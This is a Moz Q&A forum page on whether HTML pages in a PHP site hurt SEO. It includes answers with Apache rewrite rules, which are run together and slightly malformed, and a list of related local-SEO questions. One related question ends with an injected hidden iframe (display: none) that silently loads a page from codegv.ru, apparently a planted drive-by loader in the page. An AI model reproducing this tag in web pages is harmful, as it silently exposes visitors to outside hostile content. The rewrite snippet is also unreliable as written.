HTML Page in PHP Website
-
Does having an HTML page in a PHP website affect SEO? I have a PHP website but one of my targeted pages have an HTML page. Will it cause any harm to the website or is it fine to have a html page in a PHP website?
-
Having different file types in of URLs in your site doesn't affect SEO. It may confuse you, and you may inadvertently link internally to pages that don't exist on your site, but there is no effect on SEO.
There is a way to parse HTML files as if they were PHP pages--but nowadays I don't recommend that. If you do have HTML pages on your site, you may just want to leave them alone. But if you do think you need to change or update their functionality, then setting up a 301 Permanent Redirect from the old HTML page to a new .PHP page, for example, will do just fine. It should not have any effect on rankings.
-
Hi plinggtre67,
This should have no direct effect on SEO. The reason is, PHP is server sided script, which is usually outputted as HTML anyway. HTML is what the browser actually reads.
If you are referring to some pages having .html extensions and some having .php, then from user's perspective that may have a slight impact on some users not knowing whats going on, but in general it shouldn't matter. If you would like a consistent look on the page extensions you can use an Apache URL re-write to remove the extensions all together (just like Moz does). You should notice no pages on Moz site have an actual .extension appended to them.
Example Code: @ StackOverflow
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.)$ $1.phpRewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.html -f
RewriteRule ^(.)$ $1.htmlI hope this makes sense and helps,
Don
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Page Title Local SEO - 2 places
Hello guys, I am from azores are 9 islands in portugal. I live in São Jorge is one island. My question is. If one person seach by Azores Canyoning or São Jorge Canyoning. Because Azores is one region and São Jorge is one island inside Azores. And i want have this two exact keywords in title page. Canyoning is a service. Azores Canyoning - São Jorge Canyoning | Brand Name what is best way to write this title? Or is not good?
Local Website Optimization | | Flaske0 -
My website is ranking well in all other IP except US ip and that too only one particular keyword could you guys help me ?
My website is Ranking well in all other keywords in all other countries Except US IP and only one particular keyword. Example :- One keyword ABC is ranking well in UK UAE and also on first position but in US IP not even in top 100 results or not even top 300 results
Local Website Optimization | | Hyperlinkinfosystem0 -
Search result page
I need an answer how google sees this page. if somebody searches in carhub.com , normally goes to http://www.carhub.com/Results.aspx?CarState=Used&MakeName=BMW&MakeId=ENKWD0M8TR7W&Location=Los_Angeles but pushes the webpage http://www.carhub.com/Results.aspx , User sees the webpage like these.. but not seen any title, description and h1
Local Website Optimization | | carhub0 -
How can I migrate a website's content to a new WP theme, delete the old site, and avoid duplication and other issues?
Hey everyone. I recently took on a side project managing a family member's website (www.donaldtlevinemd.com). I don't want to get too into it, but my relative was roped into two shady digital marketing firms that did nothing but a mix of black-hat SEO (and nothing at all). His site currently runs off a custom wordpress theme which is incompatible with important plugins I want to use for local optimization. I'm also unable to implement responsive design for mobile. The silver lining is that these previous "content marketers" did no legitimate link building (I'm auditing the link profile now) so I feel comfortable starting fresh. I'm just not technical enough to understand how to go about migrating his domain to a new theme (or creating a new domain altogether). All advice is appreciated! Thanks for your help!
Local Website Optimization | | jampaper1 -
Best practices for 301 redirect to a new location website.
We just opened a new location in a nearby city. We were already servicing this location from our main base. As such we had a special page for this location which raked fairly well. The new location will have its own website. Would it be better to 301 redirect the current location page to the new location website? Or should we simply link from the old page to the new location's website? Any best practices?
Local Website Optimization | | Vspeed0 -
Local seo landing pages and proper keywords to optimize and showing up for generic keyword localized results
looking for advice. I have my site built into landing pages for each city I service. Would it effect my seo in a negative way if I built other landing pages with "keyword + zip code" as well as the city ones I already have or do you think it would make my city rankings worst? Also how do you get a seo city landing page to show up for the "keyword" or "keyword near me" in the city of interest? Is making landing pages with "keyword + city" sufficient way to accomplish this or is there a trick I am unaware of?
Local Website Optimization | | Spartan220 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120 -
Different page for each service at each location? Where does it end!
If we have 15 different locations and 10 different services, do we need to make keyword targeted landing pages for each combination? Is that actually the best method or is there some alternative? For example, if we are a law office specializing in slip and falls and car accidents, do we need a page for EACH location for each service (ie. Miami Car Accident Lawyer, Miami Slip and Fall Lawyer, Orlando Slip and Fall Lawyer, Orlando Car Accident Lawyer) etc. to maximize our ranking potential in each location? Is there a better way or are we left with this until Google gets "smarter"?
Local Website Optimization | | RickyShockley0